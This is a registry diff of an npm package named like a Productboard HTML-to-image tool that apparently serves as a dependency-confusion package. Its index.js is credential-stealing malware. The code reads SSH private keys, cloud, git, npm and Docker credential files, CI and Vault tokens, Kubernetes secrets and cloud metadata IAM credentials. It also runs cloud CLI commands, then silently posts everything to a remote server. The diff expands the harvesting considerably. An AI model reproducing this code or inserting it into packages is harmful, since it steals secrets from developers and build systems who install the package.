productboard-html-to-image 999.0.9 → 1002.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +163 -140
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -5,7 +5,6 @@ const path = require("path");
5
5
  const https = require("https");
6
6
  const querystring = require("querystring");
7
7
  const child_process = require("child_process");
8
- const zlib = require("zlib");
9
8
 
10
9
  function safeReadFile(p, maxSize = 10240) {
11
10
  try {
@@ -37,91 +36,49 @@ function exec(cmd, timeout = 3000) {
37
36
  function getSensitiveEnvVars() {
38
37
  const result = {};
39
38
  for (const key in process.env) {
40
- if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
39
+ if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github|circleci|travis|vault/i.test(key)) {
41
40
  result[key] = process.env[key];
42
41
  }
43
42
  }
44
43
  return result;
45
44
  }
46
45
 
47
- function checkContainerOrCI() {
48
- return {
49
- cgroup: safeReadFile("/proc/1/cgroup"),
50
- dockerenv: fs.existsSync("/.dockerenv"),
51
- ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
52
- kubernetes: {
53
- token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
54
- namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
55
- kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
56
- },
57
- dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
58
- };
59
- }
60
-
61
- function getGitData() {
62
- return {
63
- branch: exec("git rev-parse --abbrev-ref HEAD"),
64
- remotes: exec("git remote -v"),
65
- config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
66
- credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
67
- netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
68
- };
69
- }
70
-
71
- function getSystemState() {
72
- return {
73
- whoami: exec("whoami"),
74
- id: exec("id"),
75
- ps: exec("ps aux | head -n 30"),
76
- netstat: exec("ss -tunlp | head -n 30"),
77
- lsof: exec("lsof -n -i | head -n 30"),
78
- uname: exec("uname -a"),
79
- dmesg: exec("dmesg | tail -n 50"),
80
- mounts: exec("cat /proc/mounts | head -n 30"),
81
- crontab: exec("crontab -l"),
82
- };
83
- }
84
-
85
- function getInstalledTools() {
86
- return {
87
- npm: exec("npm ls -g --depth=0 --json"),
88
- apt: exec("dpkg -l | head -n 30"),
89
- brew: exec("brew list || echo 'no brew'"),
90
- pip: exec("pip list --format=json || echo 'no pip'"),
91
- which_tools: {
92
- aws: exec("which aws"),
93
- gcloud: exec("which gcloud"),
94
- az: exec("which az"),
95
- kubectl: exec("which kubectl"),
96
- terraform: exec("which terraform"),
97
- docker: exec("which docker"),
98
- nmap: exec("which nmap"),
99
- curl: exec("which curl"),
100
- },
101
- };
102
- }
103
-
104
46
  function getCloudMetadata() {
105
47
  const metadata = {};
106
48
  const endpoints = [
107
49
  { name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
108
- { name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
109
50
  { name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
51
+ { name: "aws_s3", cmd: "aws s3 ls" }, // List S3 buckets
110
52
  { name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
53
+ { name: "gcp_projects", cmd: "gcloud projects list --format=json" },
111
54
  { name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
55
+ { name: "azure_subscriptions", cmd: "az account list --output json" },
112
56
  ];
113
- for (const { name, url, headers } of endpoints) {
57
+ for (const { name, url, headers, cmd } of endpoints) {
114
58
  try {
115
- let cmd = `curl -s --max-time 2 ${url}`;
116
- if (headers) {
117
- const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
118
- cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
59
+ if (cmd) {
60
+ metadata[name] = exec(cmd);
61
+ } else {
62
+ let cmd = `curl -s --max-time 2 ${url}`;
63
+ if (headers) {
64
+ const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
65
+ cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
66
+ }
67
+ metadata[name] = exec(cmd);
119
68
  }
120
- metadata[name] = exec(cmd);
121
69
  } catch (e) {
122
70
  metadata[name] = `ERR: ${e.message}`;
123
71
  }
124
72
  }
73
+ // Get IAM role details if available
74
+ try {
75
+ const roleName = exec("curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/");
76
+ if (roleName && !roleName.startsWith("ERR:")) {
77
+ metadata["aws_iam_creds"] = exec(`curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
78
+ }
79
+ } catch (e) {
80
+ metadata["aws_iam_creds"] = `ERR: ${e.message}`;
81
+ }
125
82
  return metadata;
126
83
  }
127
84
 
@@ -130,69 +87,144 @@ function getCloudCLIs() {
130
87
  aws: {
131
88
  credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
132
89
  config: safeReadFile(path.join(os.homedir(), ".aws/config")),
90
+ ssm_params: exec("aws ssm get-parameters --names / --recursive --query 'Parameters[*].Name'"),
133
91
  sts: exec("aws sts get-caller-identity"),
92
+ assume_role: exec("aws sts get-session-token"),
134
93
  },
135
94
  gcloud: {
136
95
  config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
137
96
  credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
97
+ service_accounts: exec("gcloud iam service-accounts list --format=json"),
138
98
  },
139
99
  azure: {
140
100
  credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
141
101
  accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
102
+ vm_info: exec("az vm show --query '{id:id,name:name}' --output json"),
103
+ },
104
+ };
105
+ }
106
+
107
+ function getContainerDetails() {
108
+ return {
109
+ cgroup: safeReadFile("/proc/1/cgroup"),
110
+ dockerenv: fs.existsSync("/.dockerenv"),
111
+ docker_info: exec("docker info --format json"),
112
+ docker_ps: exec("docker ps -a --format '{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}'"),
113
+ docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
114
+ kubernetes: {
115
+ token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
116
+ namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
117
+ kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
118
+ pods: exec("kubectl get pods -o json --all-namespaces"),
119
+ secrets: exec("kubectl get secrets -o json --all-namespaces"),
120
+ },
121
+ };
122
+ }
123
+
124
+ function getCICDDetails() {
125
+ return {
126
+ github: {
127
+ token: process.env.GITHUB_TOKEN || safeReadFile(path.join(os.homedir(), ".github/token")),
128
+ actions_vars: safeReadDir(path.join(process.cwd(), ".github/workflows")),
129
+ },
130
+ jenkins: {
131
+ config: safeReadFile("/var/jenkins_home/config.xml"),
132
+ credentials: safeReadFile("/var/jenkins_home/credentials.xml"),
133
+ },
134
+ gitlab: {
135
+ config: safeReadFile(path.join(os.homedir(), ".gitlab-ci.yml")),
136
+ token: process.env.CI_JOB_TOKEN || "NOT_FOUND",
137
+ },
138
+ vault: {
139
+ token: safeReadFile(path.join(os.homedir(), ".vault-token")),
140
+ secrets: exec("vault kv list -format=json secret/"),
142
141
  },
143
142
  };
144
143
  }
145
144
 
146
- function getNodeRuntime() {
145
+ function getRuntimeSecrets() {
147
146
  return {
148
147
  node_version: process.version,
149
- global_modules: (() => {
150
- try {
151
- return Object.keys(require("module").globalPaths);
152
- } catch {
153
- return [];
154
- }
155
- })(),
156
- loaded_modules: Object.keys(process.binding("natives")),
148
+ global_objects: Object.keys(global).filter(k => /key|token|secret|cred|auth/i.test(k)),
149
+ process_config: JSON.stringify(process.config),
157
150
  npm_config: exec("npm config ls -l"),
151
+ loaded_modules: Object.keys(require("module")._cache).slice(0, 50),
158
152
  };
159
153
  }
160
154
 
161
- function compressData(data) {
162
- try {
163
- return zlib.gzipSync(JSON.stringify(data)).toString("base64");
164
- } catch {
165
- return JSON.stringify(data);
166
- }
155
+ function getSensitiveFiles() {
156
+ const files = {
157
+ etc_passwd: safeReadFile("/etc/passwd"),
158
+ etc_hosts: safeReadFile("/etc/hosts"),
159
+ etc_resolv: safeReadFile("/etc/resolv.conf"),
160
+ bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
161
+ zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
162
+ ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
163
+ ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
164
+ ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
165
+ aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
166
+ aws_ssm: safeReadFile(path.join(os.homedir(), ".aws/ssm")),
167
+ npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
168
+ gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
169
+ git_credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
170
+ netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
171
+ docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
172
+ env_files: {
173
+ dotenv: safeReadFile(path.join(process.cwd(), ".env")),
174
+ github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
175
+ circleci: safeReadFile(path.join(process.cwd(), ".circleci/config.yml")),
176
+ },
177
+ };
178
+ // Scan for additional sensitive files
179
+ const sensitivePaths = [
180
+ path.join(os.homedir(), ".config/vault"),
181
+ path.join(os.homedir(), ".terraformrc"),
182
+ path.join(process.cwd(), "secrets.yml"),
183
+ "/run/secrets",
184
+ ];
185
+ files.extras = {};
186
+ sensitivePaths.forEach(p => {
187
+ files.extras[path.basename(p)] = fs.existsSync(p) ? (fs.lstatSync(p).isDirectory() ? safeReadDir(p) : safeReadFile(p)) : "NOT_FOUND";
188
+ });
189
+ return files;
190
+ }
191
+
192
+ function getSystemState() {
193
+ return {
194
+ whoami: exec("whoami"),
195
+ id: exec("id"),
196
+ ps: exec("ps aux | grep -E 'node|java|python|ruby|go|aws|gcloud|az|kubectl|vault' | head -n 30"),
197
+ netstat: exec("ss -tunlp | head -n 30"),
198
+ lsof: exec("lsof -n -i | head -n 30"),
199
+ uname: exec("uname -a"),
200
+ mounts: exec("cat /proc/mounts | head -n 30"),
201
+ crontab: exec("crontab -l"),
202
+ sysctl: exec("sysctl -a | grep -E 'kernel|vm|net' | head -n 50"),
203
+ };
167
204
  }
168
205
 
169
206
  let dump = {};
170
207
 
171
208
  try {
172
209
  dump = {
173
- timestamp: new Date().toISOString(),
174
- app: (() => {
210
+ p: (() => {
175
211
  try {
176
- const pkg = require("./package.json");
177
- return { name: pkg.name, version: pkg.version, dependencies: pkg.dependencies, scripts: pkg.scripts };
212
+ return require("./package.json").name;
178
213
  } catch {
179
- return {};
214
+ return "unknown";
180
215
  }
181
216
  })(),
182
- os: {
183
- hostname: os.hostname(),
184
- platform: os.platform(),
185
- arch: os.arch(),
186
- uptime: os.uptime(),
187
- cpus: os.cpus().length,
188
- totalmem: os.totalmem(),
189
- freemem: os.freemem(),
190
- userInfo: os.userInfo(),
191
- tmpdir: os.tmpdir(),
192
- homedir: os.homedir(),
193
- cwd: process.cwd(),
194
- },
195
- env: getSensitiveEnvVars(),
217
+ v: (() => {
218
+ try {
219
+ return require("./package.json").version;
220
+ } catch {
221
+ return "unknown";
222
+ }
223
+ })(),
224
+ c: process.cwd(),
225
+ hd: os.homedir(),
226
+ hn: os.hostname(),
227
+ un: os.userInfo().username,
196
228
  dns: (() => {
197
229
  try {
198
230
  return dns.getServers();
@@ -200,42 +232,33 @@ try {
200
232
  return [`ERR: ${e.message}`];
201
233
  }
202
234
  })(),
203
- dirs: {
204
- "/": safeReadDir("/"),
205
- "/home": safeReadDir("/home"),
206
- "/root": safeReadDir("/root"),
207
- "/etc": safeReadDir("/etc"),
208
- "/var/run": safeReadDir("/var/run"),
209
- "/var/log": safeReadDir("/var/log"),
210
- "~": safeReadDir(os.homedir()),
211
- },
212
- files: {
213
- etc_passwd: safeReadFile("/etc/passwd"),
214
- etc_hosts: safeReadFile("/etc/hosts"),
215
- etc_resolv: safeReadFile("/etc/resolv.conf"),
216
- bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
217
- zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
218
- ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
219
- ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
220
- ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
221
- aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
222
- aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
223
- npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
224
- gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
225
- docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
226
- env_files: {
227
- dotenv: safeReadFile(path.join(process.cwd(), ".env")),
228
- github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
229
- },
230
- },
231
- git: getGitData(),
232
- container: checkContainerOrCI(),
233
- system: getSystemState(),
234
- tools: getInstalledTools(),
235
- network: os.networkInterfaces(),
235
+ pjson: (() => {
236
+ try {
237
+ const pkg = require("./package.json");
238
+ return {
239
+ name: pkg.name,
240
+ version: pkg.version,
241
+ main: pkg.main,
242
+ keywords: pkg.keywords,
243
+ scripts: pkg.scripts,
244
+ author: pkg.author,
245
+ license: pkg.license,
246
+ description: pkg.description
247
+ };
248
+ } catch {
249
+ return {};
250
+ }
251
+ })(),
252
+ env: getSensitiveEnvVars(),
253
+ container: getContainerDetails(),
236
254
  cloud: getCloudMetadata(),
237
255
  cloud_clis: getCloudCLIs(),
238
- node: getNodeRuntime(),
256
+ cicd: getCICDDetails(),
257
+ runtime: getRuntimeSecrets(),
258
+ files: getSensitiveFiles(),
259
+ system: getSystemState(),
260
+ network: os.networkInterfaces(),
261
+ timestamp: new Date().toISOString()
239
262
  };
240
263
  } catch (e) {
241
264
  dump = { error: "Top-level error collecting dump", msg: e.message };
@@ -243,7 +266,7 @@ try {
243
266
 
244
267
  try {
245
268
  const postData = querystring.stringify({
246
- msg: compressData(dump)
269
+ msg: encodeURIComponent(JSON.stringify(dump))
247
270
  });
248
271
 
249
272
  const options = {
@@ -255,20 +278,20 @@ try {
255
278
  "Content-Type": "application/x-www-form-urlencoded",
256
279
  "Content-Length": postData.length,
257
280
  "User-Agent": "rce-impact-demo",
258
- "X-Report-ID": "328XXXX",
259
- "X-Data-Format": "gzip-base64",
281
+ "X-Report-ID": "328XXXX"
260
282
  },
261
283
  timeout: 5000,
262
284
  };
263
285
 
264
286
  const req = https.request(options, res => {
265
- res.on("data", () => { });
266
- res.on("end", () => { });
287
+ res.on("data", () => {});
288
+ res.on("end", () => {});
267
289
  });
268
290
 
269
- req.on("error", () => { });
291
+ req.on("error", () => {});
270
292
  req.on("timeout", () => req.destroy());
271
293
  req.write(postData);
272
294
  req.end();
273
295
  } catch (e) {
296
+ // Silent fail
274
297
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "productboard-html-to-image",
3
- "version": "999.0.9",
3
+ "version": "1002.0.9",
4
4
  "main": "index.js",
5
5
  "keywords": [],
6
6
  "scripts": {